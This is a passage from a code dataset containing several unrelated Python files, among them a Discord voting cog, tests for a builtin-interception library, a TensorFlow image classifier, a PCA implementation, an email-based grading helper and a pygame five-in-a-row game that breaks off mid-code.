asyncio.TimeoutError:\n try:\n await ask_message.delete()\n except discord.HTTPException:\n pass\n return\n\n # Save response to database\n choice = {\n \"1\\N{COMBINING ENCLOSING KEYCAP}\": choice_one,\n \"2\\N{COMBINING ENCLOSING KEYCAP}\": choice_two,\n }[str(reaction.emoji)]\n self.logger.info(\"Saving thisorthat reaction to database\")\n async with self.bot.database() as db:\n await db(\n \"\"\"INSERT INTO this_or_that (compare_1, compare_2, choice, user_id) VALUES ($1, $2, $3, $4)\n ON CONFLICT (compare_1, compare_2, user_id) DO UPDATE SET choice=excluded.choice\"\"\",\n choice_one, choice_two, choice, ctx.author.id\n )\n\n # Edit message\n self.logger.info(\"Editing thisorthat message\")\n try:\n await ask_message.edit(content=f\"{ctx.author.mention} has voted that they prefer <@{choice}>! Run `{ctx.clean_prefix}thisorthat` yourself to vote.\")\n except discord.HTTPException:\n pass\n try:\n await ask_message.clear_reactions()\n except discord.HTTPException:\n pass\n\n\ndef setup(bot:utils.Bot):\n x = ThisOrThat(bot)\n bot.add_cog(x)\n","sub_path":"cogs/this_or_that.py","file_name":"this_or_that.py","file_ext":"py","file_size_in_byte":3123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"30107476","text":"# This is a way that we are able to handle errors\r\n# Its just a genericized way of handling errors to be quite honest with you\r\nimport json\r\n\r\ndef throw_json_error(code, description):\r\n error = {\r\n \"code\": code,\r\n \"reason\": description\r\n }\r\n\r\n return error\r\n\r\n\r\ndef throw_json_success(description, data):\r\n\r\n success = {\r\n \"code\": 200,\r\n \"reason\": description,\r\n \"data\": data\r\n }\r\n\r\n return success\r\n","sub_path":"auth/error.py","file_name":"error.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"282194274","text":"import sys\nimport types\nimport unittest\n\nimport intercepts\n\n_REAL_STDOUT = sys.stdout\n\n\ndef handler(func, *args, **kwargs):\n result = func(*args, **kwargs)\n return \"handled\", result\n\n\nclass MockStdout:\n def __init__(self):\n self.out = []\n\n def write(self, value):\n self.out.append(str(value))\n\n def flush(self):\n pass\n\n\nclass TestRegisterBuiltinHandler(unittest.TestCase):\n def setUp(self):\n intercepts.unregister_all()\n sys.stdout = MockStdout()\n\n def test_register_import(self):\n result = __import__(\"os\", globals(), locals(), level=0)\n intercepts.register(\n __import__,\n lambda func, *args, **kwargs: [print(args[0]), func(*args, **kwargs)][-1],\n )\n result_ = __import__(\"os\", globals(), locals(), level=0)\n self.assertEqual(result_, result, \"handler function should not modify output\")\n self.assertEqual(\n sys.stdout.out,\n [\"os\", \"\\n\"],\n \"handler function should print the name of the imported module\",\n )\n\n def test_resister_print(self):\n self.assertEqual(\n intercepts.register(print, handler),\n print,\n \"intercepts.register should return the handled function\",\n )\n self.assertTrue(isinstance(print, types.BuiltinFunctionType))\n\n def test_resister_print_call(self):\n args = (\"test message\",)\n result = print(*args)\n self.assertEqual(sys.stdout.out, [\" \".join(args), \"\\n\"])\n intercepts.register(print, handler)\n self.assertEqual(\n print(*args), (\"handled\", result), \"handler function should modify output\"\n )\n self.assertEqual(sys.stdout.out, [\" \".join(args), \"\\n\"] * 2)\n\n def test_register_sorted(self):\n args = ([1, 4, 6, 2, 9, 5, 10, 11, 11, 3, -18],)\n result = sorted(*args)\n intercepts.register(sorted, handler)\n self.assertEqual(\n sorted(*args), (\"handled\", result), \"handler function should modify output\"\n )\n\n def test_register_sum(self):\n args = ([1, 4, 6, 2, 9, 5, 10, 11, 11, 3, -18],)\n result = sum(*args)\n intercepts.register(sum, handler)\n self.assertEqual(\n sum(*args), (\"handled\", result), \"handler function should modify output\"\n )\n\n def test_register_sorted_rev(self):\n args = ([1, 4, 6, 2, 9, 5, 10, 11, 11, 3, -18],)\n result = sorted(*args)\n\n def handler_rev(func, *args, **kwargs):\n return (\"handled\", list(reversed(func(*args, **kwargs))))\n\n intercepts.register(sorted, handler_rev)\n self.assertEqual(\n sorted(*args),\n (\"handled\", list(reversed(result))),\n \"handler function should modify output\",\n )\n\n def test_unregister(self):\n args = (5, 11)\n result = pow(*args)\n intercepts.register(pow, handler)\n self.assertEqual(\n pow(*args), (\"handled\", result), \"handler function should modify output\"\n )\n intercepts.unregister(pow)\n self.assertEqual(pow(*args), result, \"function should no longer be intercepted\")\n\n def test_unregister_multiple_handlers(self):\n args = (self,)\n result = repr(*args)\n intercepts.register(repr, handler)\n intercepts.register(repr, handler)\n self.assertEqual(\n repr(*args),\n (\"handled\", (\"handled\", result)),\n \"handler functions should modify output\",\n )\n intercepts.unregister(repr)\n self.assertEqual(\n repr(*args), result, \"function should no longer be intercepted\"\n )\n\n def test_unregister_multiple_handlers_depth_1(self):\n func = round\n args = (3.14159265358979, 2)\n result = func(*args)\n intercepts.register(func, handler)\n intercepts.register(func, handler)\n self.assertEqual(\n func(*args),\n (\"handled\", (\"handled\", result)),\n \"handler functions should modify output\",\n )\n intercepts.unregister(func, depth=1)\n self.assertEqual(\n func(*args),\n (\"handled\", result),\n \"one handler function should modify output\",\n )\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/test_builtins.py","file_name":"test_builtins.py","file_ext":"py","file_size_in_byte":4298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"195734839","text":"class Solution(object):\n def distributeCoins(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: int\n \"\"\"\n self.max_step = 0\n self.helper(root)\n return self.max_step\n \n def helper(self,root):\n if not root:\n return 0\n if not root.left and not root.right:\n return root.val-1\n left = self.helper(root.left)\n right = self.helper(root.right)\n \n self.max_step += abs(left)+abs(right)\n \n return left+right+root.val-1\n","sub_path":"979. Distribute Coins in Binary Tree.py","file_name":"979. Distribute Coins in Binary Tree.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"385042043","text":"import tensorflow as tf\nfrom tensorflow.keras import layers, optimizers, datasets, Sequential,losses,applications\nfrom tensorflow.keras.callbacks import EarlyStopping\nfrom tensorflow import keras\nimport os,glob\nimport random, csv\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow_datasets as tfds\nos.environ['TF_CPP_MIN_LOG_LEVEL']='2'\n\ndef transform(inputs):\n \n x = tf.image.resize(2*(tf.cast(inputs[\"image\"],tf.float32)/255.)-1,[64,64])\n y = tf.cast(inputs[\"label\"],dtype=tf.int32)\n return x,y\n\ntrain_spilt = tfds.Split.TRAIN.subsplit(tfds.percent[:80])\ntest_spilt = tfds.Split.TRAIN.subsplit(tfds.percent[80:])\ntrain,info = tfds.load(name=\"cats_vs_dogs\", split=train_spilt,with_info=True)\ntest = tfds.load(name=\"cats_vs_dogs\",split=test_spilt)\ntrain = train.shuffle(10000).map(transform,2).batch(128).prefetch(1)\ntest = test.map(transform,2).batch(128).prefetch(1)\nmodel = Sequential([layers.Conv2D(64,3,padding=\"same\",activation=\"relu\"),\n layers.Conv2D(64,3,padding=\"same\",activation=\"relu\"),\n layers.AveragePooling2D(2,2,padding=\"same\"),\n layers.Conv2D(128,3,padding=\"same\",activation=\"relu\"),\n layers.Conv2D(128,3,padding=\"same\",activation=\"relu\"),\n layers.AveragePooling2D(2,2,padding=\"same\"),\n layers.Conv2D(256,3,padding=\"same\",activation=\"relu\"),\n layers.Conv2D(256,3,padding=\"same\",activation=\"relu\"),\n layers.AveragePooling2D(2,2,padding=\"same\"),\n layers.Conv2D(512,3,padding=\"same\",activation=\"relu\"),\n layers.Conv2D(512,3,padding=\"same\",activation=\"relu\"),\n layers.AveragePooling2D(2,2,padding=\"same\"),\n layers.GlobalAveragePooling2D(),\n layers.Dense(256,activation='relu'),\n layers.Dense(128,activation='relu'),\n layers.Dense(64,activation='relu'),\n layers.Dense(1)\n ])\nearly_stopping = EarlyStopping(monitor=\"val_acc\",min_delta=0.01,patience=5)\nmodel.compile(optimizer=optimizers.Adam(1e-3),loss=losses.BinaryCrossentropy(from_logits=True),metrics=[\"accuracy\"])\nmodel.fit(train,epochs=30,validation_data=test,validation_freq=2,callbacks=[early_stopping])\n","sub_path":"catvsdog.py","file_name":"catvsdog.py","file_ext":"py","file_size_in_byte":2331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"18587459","text":"import glob\nimport os\nfrom pathlib import Path\n\nimport numpy as np\n\n\ndef find_wav_files(data_path):\n wav_paths = glob.glob(os.path.join(data_path, '**', '*.wav'), recursive=True)\n return wav_paths\n\n\ndef find_feat_files(data_path):\n feat_paths = glob.glob(os.path.join(data_path, '**', '*.npy'), recursive=True)\n return feat_paths\n\n\ndef load_wav_data(data_path, eval_split_size):\n wav_paths = find_wav_files(data_path)\n np.random.seed(0)\n np.random.shuffle(wav_paths)\n return wav_paths[:eval_split_size], wav_paths[eval_split_size:]\n\n\ndef load_wav_feat_data(data_path, feat_path, eval_split_size):\n wav_paths = sorted(find_wav_files(data_path))\n feat_paths = sorted(find_feat_files(feat_path))\n assert len(wav_paths) == len(feat_paths)\n for wav, feat in zip(wav_paths, feat_paths):\n wav_name = Path(wav).stem\n feat_name = Path(feat).stem\n assert wav_name == feat_name\n\n items = list(zip(wav_paths, feat_paths))\n np.random.seed(0)\n np.random.shuffle(items)\n return items[:eval_split_size], items[eval_split_size:]\n","sub_path":"TTS/vocoder/datasets/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"566466809","text":"\"\"\"Make up a bunch of test data. Deprecated... use the migrate_db instead.\"\"\"\n\nimport data\nimport myrequest\n\n# For photo fetch and resize\nfrom google.appengine.api import images\nfrom google.appengine.api import urlfetch\n\n\nclass LoadTestData(myrequest.MyRequestHandler):\n\n def get(self, *args):\n ls = (\n data.Lease(lots='1', address='1101 Beckett Point Road', section=data.SECTIONS[0], sort_order=1),\n data.Lease(lots='2', address='1102 Beckett Point Road', section=data.SECTIONS[1], sort_order=2), \n data.Lease(lots='3', address='1103 Beckett Point Road', section=data.SECTIONS[2], sort_order=3), \n data.Lease(lots='4', address='1104 Beckett Point Road', section=data.SECTIONS[3], sort_order=4), \n data.Lease(lots='5', address='1105 Beckett Point Road', section=data.SECTIONS[4], sort_order=5), \n data.Lease(lots='6', address='1105 Beckett Point Road', section=data.SECTIONS[5], sort_order=6), \n data.Lease(lots='7', address='1105 Beckett Point Road', section=data.SECTIONS[6], sort_order=7),\n )\n db.Put(ls)\n # for l in ls: l.put()\n ps = (\n data.Photo(source='http://www.beckettpoint.com/photos/display/4.jpg', lease=ls[0]),\n data.Photo(source='http://www.beckettpoint.com/photos/display/5.jpg', lease=ls[0]),\n data.Photo(source='http://www.beckettpoint.com/photos/display/6.jpg', lease=ls[1]),\n data.Photo(source='http://www.beckettpoint.com/photos/display/7.jpg', lease=ls[1]),\n data.Photo(source='http://www.beckettpoint.com/photos/display/8.jpg', lease=ls[2]),\n data.Photo(source='http://www.beckettpoint.com/photos/display/9.jpg', lease=ls[2]),\n data.Photo(source='http://www.beckettpoint.com/photos/display/10.jpg', lease=ls[3]),\n data.Photo(source='http://www.beckettpoint.com/photos/display/12.jpg', lease=ls[5]),\n data.Photo(source='http://www.beckettpoint.com/photos/display/13.jpg', lease=ls[6]),\n data.Photo(source='http://www.beckettpoint.com/photos/display/14.jpg', lease=ls[6]),\n )\n for p in ps:\n p.process()\n p.put()\n ms = (\n data.Member(name='A', lease=ls[0]), \n data.Member(name='B', lease=ls[0]),\n data.Member(name='C', lease=ls[0]),\n data.Member(name='D', lease=ls[1]),\n data.Member(name='E', lease=ls[1]),\n data.Member(name='F', lease=ls[2]),\n data.Member(name='G', lease=ls[2]),\n data.Member(name='H', lease=ls[3]),\n data.Member(name='I', lease=ls[3]),\n data.Member(name='J', lease=ls[4]),\n data.Member(name='K', lease=ls[5]),\n data.Member(name='L', lease=ls[6]),\n )\n for m in ms: m.put()\n ds = (\n data.Document(filename='foo.pdf', title='Foo', submitter=ms[0]),\n data.Document(filename='fee.pdf', title='Fee', submitter=ms[1]),\n data.Document(filename='fie.pdf', title='Fie', submitter=ms[2]),\n data.Document(filename='foe.pdf', title='Foe', submitter=ms[3]),\n data.Document(filename='fum.pdf', title='Fum', submitter=ms[4]),\n )\n for d in ds: d.put()\n bs = (\n data.Blurb(title='Foo', content='This is some content', submitter=ms[0]),\n data.Blurb(title='Fee', content='This is some content', submitter=ms[1]),\n data.Blurb(title='Fie', content='This is some content', submitter=ms[2]),\n data.Blurb(title='Foe', content='This is some content', submitter=ms[3]),\n data.Blurb(title='Fum', content='This is some content', submitter=ms[4]),\n )\n for b in bs: b.put()\n self.redirect('/')\n\n\ndef ProcessPhoto(photo):\n \"\"\"Deprecated: assumes that we have a source property, and store photos in blobs... which we don't.\"\"\"\n if photo.source:\n asString = urlfetch.Fetch(photo.source).content # Fetch it from the web\n photo.display = db.Blob(asString) # Turn the string into a blob, and store it\n asImage = images.Image(asString) # Turn the string into an image so we can get width and height\n else:\n asImage = Image(photo.display) # It had better already be there \n \n # Make sure we have something, or quit now\n if not photo.display: return\n \n # Save display size\n photo.display_x = asImage.width\n photo.display_y = asImage.height\n \n # Calc thumb size\n if photo.display_x > photo.display_y:\n # Landscape\n photo.thumb_x = 160\n photo.thumb_y = 160 * photo.display_y / photo.display_x\n else:\n # Portrait\n photo.thumb_y = 160\n photo.thumb_x = 160 * photo.display_x / photo.display_y\n \n # Resize\n photo.thumb = db.Blob(images.resize(asString, photo.thumb_x, photo.thumb_y))\n \n # Note: we don't put(); the caller should do that\n","sub_path":"testdata.py","file_name":"testdata.py","file_ext":"py","file_size_in_byte":4614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"72472267","text":"\"\"\"\nTests for :func:`Acoustics.LTV.convolve`\n\"\"\"\nimport unittest\n\nfrom acoustics.signal import convolve as convolveLTV\nfrom scipy.signal import convolve as convolveLTI\nimport numpy as np\nimport itertools\n\nclass ConvolveCase(unittest.TestCase):\n \n def test_LTI(self):\n \"\"\"\n Test whether it gives correct results for the LTI case.\n \"\"\"\n\n \"\"\"Input signals.\"\"\"\n signals = [np.array([1,2,3,4,3,2,1], dtype='float'),\n np.array([1,2,3,4,3,2,1,1], dtype='float'),\n ]\n \n \"\"\"Filters\"\"\"\n filters = [np.array([1,2,3,4], dtype='float'),\n np.array([1,2,3,4,5], dtype='float'),\n ]\n \n \"\"\"Test for every combination of input signal and filter.\"\"\"\n for u, h in itertools.product(signals, filters):\n\n H = np.tile(h, (len(u), 1)).T\n \n #\"\"\"The array C represents here a linear time-invariant system.\"\"\"\n #y_ltv = convolveLTV(u, H)\n #y_lti = convolveLTI(u, h)\n #\"\"\"Check whether the output is indeed the same.\"\"\"\n #np.testing.assert_array_equal(y_ltv, y_lti)\n \n np.testing.assert_array_almost_equal(convolveLTV(u,H), convolveLTI(u,h))\n np.testing.assert_array_almost_equal(convolveLTV(u,H,mode='full'), convolveLTI(u,h,mode='full'))\n np.testing.assert_array_almost_equal(convolveLTV(u,H,mode='valid'), convolveLTI(u,h,mode='valid'))\n np.testing.assert_array_almost_equal(convolveLTV(u,H,mode='same'), convolveLTI(u,h,mode='same'))\n\n \n def test_LTV(self):\n \"\"\"\n Test whether it gives correct results for the LTV case.\n \"\"\"\n \n \"\"\"Input signal\"\"\"\n u = np.array([1, 1, 1])\n \n \"\"\"Impulse responses where each column represents an impulse response.\"\"\"\n C = np.array([\n [1, 0, 0],\n [2, 1, 1]\n ])\n \n \"\"\"The result calculated manually.\"\"\"\n y_manual = np.array([1, 2, 1, 1])\n \n y_ltv = convolveLTV(u, C)\n np.testing.assert_array_equal(y_ltv, y_manual)\n \n \nif __name__ == '__main__':\n unittest.main()","sub_path":"unittest/test_signal.py","file_name":"test_signal.py","file_ext":"py","file_size_in_byte":2211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"251418647","text":"\"\"\"\nsetup.py\n\"\"\"\n\nimport os\nimport distutils\nimport shutil\nimport subprocess\nimport tempfile\nimport platform\n\n\nfrom distutils.core import setup, Extension\n\n# have_openmp = check_for_openmp()\n# openmp_args = ['-fopenmp'] if have_openmp else []\nif platform.system() == \"Windows\":\n\topenmp_args = ['/openmp']\n\topenmp_linking_args=[]\nelse:\n\topenmp_args = ['-fopenmp']\n\topenmp_linking_args=['-fopenmp']\n\nsources = [\n 'CSF_wrap.cxx',\n '../src/c2cdist.cpp',\n '../src/Cloth.cpp',\n '../src/CSF.cpp',\n '../src/Particle.cpp',\n '../src/point_cloud.cpp',\n '../src/Rasterization.cpp',\n '../src/XYZReader.cpp'\n]\n\ncsf_module = Extension(\n '_CSF',\n sources=sources,\n extra_compile_args=openmp_args,\n extra_link_args=openmp_linking_args\n)\n\nsetup(\n name = 'CSF',\n version = '1.1.1',\n author = 'Jianbo Qi',\n description = 'CSF: Ground Filtering based on Cloth Simulation',\n ext_modules = [csf_module],\n py_modules = ['CSF'],\n)\n","sub_path":"python/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"202628994","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport email\nimport re\nimport json\nimport urllib.request, urllib.parse\nfrom config import *\nfrom databases import StudentDatabase\n\n\nclass Helper(object):\n \"\"\"\n Клас з функціями для обробки результату\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Ініціалізація логіки\n \"\"\"\n self.__db = StudentDatabase()\n\n def is_ascii(self, text):\n \"\"\"\n Перевірка в необхідності перекодування\n :param text: вхідна стрічка\n :return: Boolean\n \"\"\"\n if isinstance(text, str):\n try:\n text.encode('ascii')\n except UnicodeEncodeError:\n return False\n else:\n try:\n text.decode('ascii')\n except UnicodeDecodeError:\n return False\n return True\n\n def get_student_id(self, data):\n \"\"\"\n Розпізнавання ID студента\n :param data: вхідні дані\n :return: Integer\n \"\"\"\n student = re.search(r'\\@s[0]*([0-9]{1,6})', data)\n return student.group(1) if student else None\n\n def get_theme(self, data):\n \"\"\"\n Розпізнавання номеру теми\n :param data: вхідні дані\n :return: Integer\n \"\"\"\n theme = re.search(r'\\(ID:(\\d+)\\)', data)\n return theme.group(1) if theme else None\n\n def get_mark(self, data):\n \"\"\"\n Розпізнавання оцінки\n :param data: вхідні дані\n :return: Integer\n \"\"\"\n mark = re.search(r'([0-5])', data)\n return mark.group(1) if mark else None\n\n def decode_message(self, data):\n \"\"\"\n Розшифровка повідомлення\n :param data: вхідні дані\n :return: Unicode\n \"\"\"\n message = email.message_from_string(data)\n for part in message.walk():\n if part.get_content_type() == 'text/plain':\n message_part = part.get_payload()\n if self.is_ascii(message_part):\n message_text = part.get_payload(decode=True).decode(part.get_content_charset()).splitlines()\n return [line.rstrip('.') for line in message_text]\n return None\n\n def parse_message(self, data):\n \"\"\"\n Парсинг повідомлення\n :param data: вхідні дані\n \"\"\"\n print(u'Обробка вхiдних даних...')\n message = self.decode_message(data)\n student_id = self.get_student_id(message[8])\n theme_id = self.get_theme(message[10])\n mark = self.get_mark(message[20])\n\n if student_id and theme_id and mark:\n chances = self.__db.get_student(student_id)\n if chances < CHANCES_LIMIT:\n self.send_result(student_id, theme_id, mark)\n else:\n print(u'Закiнчилась кiлькiсть спроб...')\n else:\n print(u'Некоректний набiр вхiдних даних...')\n\n def send_result(self, student_id, theme_id, mark):\n \"\"\"\n Надсилання результату на сервер\n :param student_id: ID студента\n :param theme_id: ID теми\n :param mark: оцінки\n \"\"\"\n print(u'Надсилання результату на сервер...')\n data = bytes(urllib.parse.urlencode({\n 'student_id': student_id,\n 'theme_id': theme_id,\n 'mark': mark\n }).encode())\n try:\n handler = urllib.request.urlopen(SERVER_BACKEND, data)\n response = json.loads(handler.read().decode('utf-8'))\n self.__db.update_student(student_id)\n print(u'Статус: %s' % response['status'])\n except:\n print(u'Помилка при надсиланнi результату!')\n","sub_path":"result_server/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":4080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"306625570","text":"\"\"\"\n@ Filename: DimensionReduction.py\n@ Author: Danc1elion\n@ Create Date: 2019-06-02 \n@ Update Date: 2019-06-03\n@ Description: Implement DimensionReduction\n\"\"\"\nimport numpy as np\n\nclass PCA:\n def __init__(self, norm_type=\"Standardization\", rate=0.9):\n self.norm_type = norm_type\n self.matrix = None\n self.contribute_rate = None\n self.acc_contribute_rate = None\n self.rate = rate\n\n '''\n Function: train\n Description: train the model\n Input: train_data dataType: ndarray description: features\n Output: self dataType: obj description: the trained model\n '''\n def train(self, train_data):\n # decentration\n data = train_data - train_data.mean(axis=0)\n\n # calculate the eigenvalue and eigenvector of covariance matrix\n covariance_matrix = np.cov(data, rowvar=False)\n eigenvalue, eigenvector = np.linalg.eig(covariance_matrix)\n index = np.argsort(-eigenvalue)\n eigenvalue = eigenvalue[index]\n eigenvector = eigenvector[:, index]\n\n # calculate contribute rate\n contribute_rate = np.zeros(len(index))\n acc_contribute_rate = np.zeros(len(index))\n value_sum = eigenvalue.sum()\n sum = 0\n k = 0\n for i in range(len(eigenvalue)):\n sum = sum + eigenvalue[i]\n contribute_rate[i] = eigenvalue[i]/value_sum\n acc_contribute_rate[i] = sum/value_sum\n if (acc_contribute_rate[i-1] < self.rate) and (acc_contribute_rate[i] >= self.rate):\n k = i\n self.contribute_rate = contribute_rate\n self.acc_contribute_rate = acc_contribute_rate\n\n matrix = np.mat(eigenvector)[:, k]\n self.matrix = matrix\n return self\n\n '''\n Function: transformData\n Description: transform data\n Input: data dataType: ndarray description: original data\n Output: transformed_data dataType: ndarray description: transformed data \n '''\n def transformData(self, data):\n data = data - data.mean(axis=0)\n transformed_data = np.dot(data, self.matrix)\n return transformed_data\n\n\n\n","sub_path":"DimensionReduction.py","file_name":"DimensionReduction.py","file_ext":"py","file_size_in_byte":2236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"559578427","text":"\"\"\"\nstring_util.py\nA funny repo for the 2019 MolSSI bootcamp\n\nMisc. string processing functions\n\"\"\"\n\n\ndef title_case(sentence):\n \"\"\"\n Convert string to title case.\n\n Title case means thtat the first character of every word is capitalized.\n otherwise lowercase\n\n Parameters\n ---------\n sentence: string\n String to be converted to title case\n \"\"\"\n if not isinstance(sentence, str):\n raise TypeError('sentence {} not a string'.format(sentence))\n\n if len(sentence) == 0:\n raise ValueError('len(sentence) is zero')\n\n return ' '.join([word[0].upper() + word[1:].lower() for word in sentence.split()])\n","sub_path":"molssi_2019/string_util.py","file_name":"string_util.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"544781560","text":"def retweet_ratio(tweets):\n tweet_count = 0\n retweet_count = 0\n i = 0\n for tweet in tweets:\n tweet_count = tweet_count + 1\n try:\n check = tweet.retweeted_status\n retweet_count = retweet_count + 1\n except AttributeError:\n pass\n i = i + 1\n if tweet_count == 0:\n return 4\n pointer = retweet_count / tweet_count\n if pointer < 0.6:\n result = 0\n elif pointer <= 0.74:\n result = 1\n elif pointer <= 0.83:\n result = 2\n elif pointer <= 0.86:\n result = 3\n elif pointer <= 0.89:\n result = 4\n else:\n result = 5\n return result\n","sub_path":"PytonRozpoznawczy_2.0/mysite/myapp/pyton_rozpoznawczy/retweet_ratio.py","file_name":"retweet_ratio.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"492885775","text":"#Name: game.py\n#Purpose: file containing Game class, which is responsible for managing the game\n\n\nimport numpy as np\nimport random\n\nfrom human_player import *\nfrom bot_player import *\n\nclass Game:\n\n #constants\n PLAYER_HUMAN = 1\n PLAYER_BOT = 2\n SIZE_HIDDEN = 32\n\n #colour constants\n WHITE = (255, 255, 255)\n GREY = (128, 128, 128)\n BLACK = (0, 0, 0)\n RED = (255, 0, 0)\n BLUE = (0, 0, 255)\n\n\n #constructor\n #parameters are: number of rows, number of columns, how many in a line to win, height in pixels, width in pixels, type of player 1, type of player 2, path to file with a model (if bot is playing)\n def __init__(self, nRows = 10, nColumns = 10, inALine = 5, height = 700, width = 700, widthOfLine = 5, player1 = 1, player2 = 2, pathToModel = \"model5x5_4.pt\"):\n #parameter assignment\n self.nRows = nRows\n self.nColumns = nColumns\n self.inALine = inALine\n self.height = height\n self.width = width\n self.widthOfLine = widthOfLine\n self.pathToModel = pathToModel\n\n #board storing positions of all O's and X's\n self.board = np.zeros([self.nRows + 2, self.nColumns + 2], dtype = int)\n\n \n #basic inits\n pygame.init()\n self.screen = pygame.display.set_mode((width, height))\n self.clock = pygame.time.Clock()\n \n self.tileXSize = width / nColumns\n self.tileYSize = height / nRows\n \n self.gameFinished = False\n self.turn = 1 # 1 -> blue's turn, -1 -> red's turn\n\n #text inits\n self.font = pygame.font.SysFont(\"Times New Roman\", 100)\n self.text1 = self.font.render(\"Blue wins!\", True, self.BLUE)\n self.text2 = self.font.render(\"Red wins!\", True, self.RED)\n self.text3 = self.font.render(\"Draw!\", True, self.WHITE)\n\n\n #player creation\n if player1 == self.PLAYER_HUMAN:\n self.player1 = HumanPlayer(self.tileXSize, self.tileYSize, self.clock)\n else:\n self.player1 = BotPlayer(self.pathToModel, nRows, nColumns, self.SIZE_HIDDEN, self.board)\n\n if player2 == self.PLAYER_HUMAN:\n self.player2 = HumanPlayer(self.tileXSize, self.tileYSize, self.clock)\n else:\n self.player2 = BotPlayer(self.pathToModel, nRows, nColumns, self.SIZE_HIDDEN, self.board)\n\n\n\n\n\n ################################################################################################################\n # Gameplay functions #\n ################################################################################################################\n\n\n #function implementing main loop of the game\n def gameloop(self):\n\n #setup\n winner = 0\n nMoves = 0\n self.drawBox(self.BLUE)\n self.drawGrid(self.GREY)\n \n #main loop\n while not self.gameFinished:\n \n exitClicked, row, column = self.sampleAction()\n if exitClicked: #quit\n self.gameFinished = True\n else:\n self.updateBoard(row, column)\n nMoves += 1\n\n if self.detectWin(row, column): #win detected\n winner = self.turn\n self.gameFinished = True\n elif nMoves == self.nRows * self.nColumns: #draw\n winner = 0\n self.gameFinished = True\n\n self.draw(self.BLUE, self.RED, column, row)\n \n self.turn *= -1 #change turn\n\n\n #game finished\n self.printResult(winner)\n self.close()\n \n\n\n #function responsible for sampling action from player\n #return values are: whether or not player has clicked exit, row of sampled move, column of sampled move\n def sampleAction(self):\n\n #select player based on turn\n if self.turn == 1:\n currentPlayer = self.player1\n else:\n currentPlayer = self.player2\n\n exitClicked, row, column = currentPlayer.sampleMove(self.board, self.turn)\n\n return exitClicked, row, column\n\n\n\n #function responsible for updating the board\n #parameters are: row of sampled move, column of sampled move\n def updateBoard(self, row, column):\n self.board[row][column] = self.turn\n\n\n\n #function responsible for detecting if one player has won the game\n #parameters are: row of sampled move, column of sampled move\n def detectWin(self, row, column):\n\n moveX = [1, 0, 1, 1] #move in x direction\n moveY = [0, 1, 1, -1] #move in y direction\n\n for i in range(4): #for every direction\n sum = 1\n for j in range(1, self.inALine):\n if(self.board[row + j * moveY[i]][column + j * moveX[i]] != self.turn): #check forward\n break\n sum += 1\n for j in range(1, self.inALine):\n if(self.board[row - j * moveY[i]][column - j * moveX[i]] != self.turn): #check backward\n break\n sum += 1\n if sum >= self.inALine: #win detected\n return True\n \n #no winner yet\n return False\n\n\n\n #function responsible for closing after the game is finished\n def close(self): \n \n if isinstance(self.player1, HumanPlayer):\n self.player1.waitForKeyPress()\n elif isinstance(self.player2, HumanPlayer):\n self.player2.waitForKeyPress()\n\n\n\n\n\n ################################################################################################################\n # Drawing functions #\n ################################################################################################################\n\n\n #general draw function responsible for drawing O or X and a new box\n #parameters are: blue's colour, red's colour, column of sampled move, row of sampled move\n def draw(self, colour, otherColour, column, row):\n if self.turn == 1:\n self.drawO(colour, column - 1, row - 1)\n self.drawBox(otherColour)\n else:\n self.drawX(otherColour, column - 1, row - 1)\n self.drawBox(colour)\n\n\n\n #draw cross\n #parameters are: colour to draw in, column of sampled move, row of sampled move\n def drawX(self, colour, column, row):\n pygame.draw.line(self.screen, colour, ((column + 1/8) * self.tileXSize, (row + 1/8) * self.tileYSize), ((column + 7/8) * self.tileXSize, (row + 7/8) * self.tileYSize), self.widthOfLine)\n pygame.draw.line(self.screen, colour, ((column + 7/8) * self.tileXSize, (row + 1/8) * self.tileYSize), ((column + 1/8) * self.tileXSize, (row + 7/8) * self.tileYSize), self.widthOfLine)\n\n\n\n #draw circle\n #parameters are: colour to draw in, column of sampled move, row of sampled move\n def drawO(self, colour, column, row):\n pygame.draw.ellipse(self.screen, colour, ((column + 1/8) * self.tileXSize, (row + 1/8) * self.tileYSize, self.tileXSize * 3/4, self.tileYSize * 3/4), self.widthOfLine)\n\n\n\n #draw grid of the board\n #parameters are: colour to draw in\n def drawGrid(self, colour):\n for i in range(1, self.nColumns):\n pygame.draw.line(self.screen, colour, (i * self.width / self.nColumns, 0), (i * self.width / self.nColumns, self.height))\n for i in range(1, self.nRows):\n pygame.draw.line(self.screen, colour, (0, i * self.height / self.nRows), (self.width, i * self.height / self.nRows))\n\n\n\n #draw box around the board suggesting which player's move is next\n #parameters are: colour to draw in\n def drawBox(self, colour):\n pygame.draw.rect(self.screen, colour, (0, 0, self.width, self.height), self.widthOfLine)\n\n\n\n #print result\n #parameters are: integer value 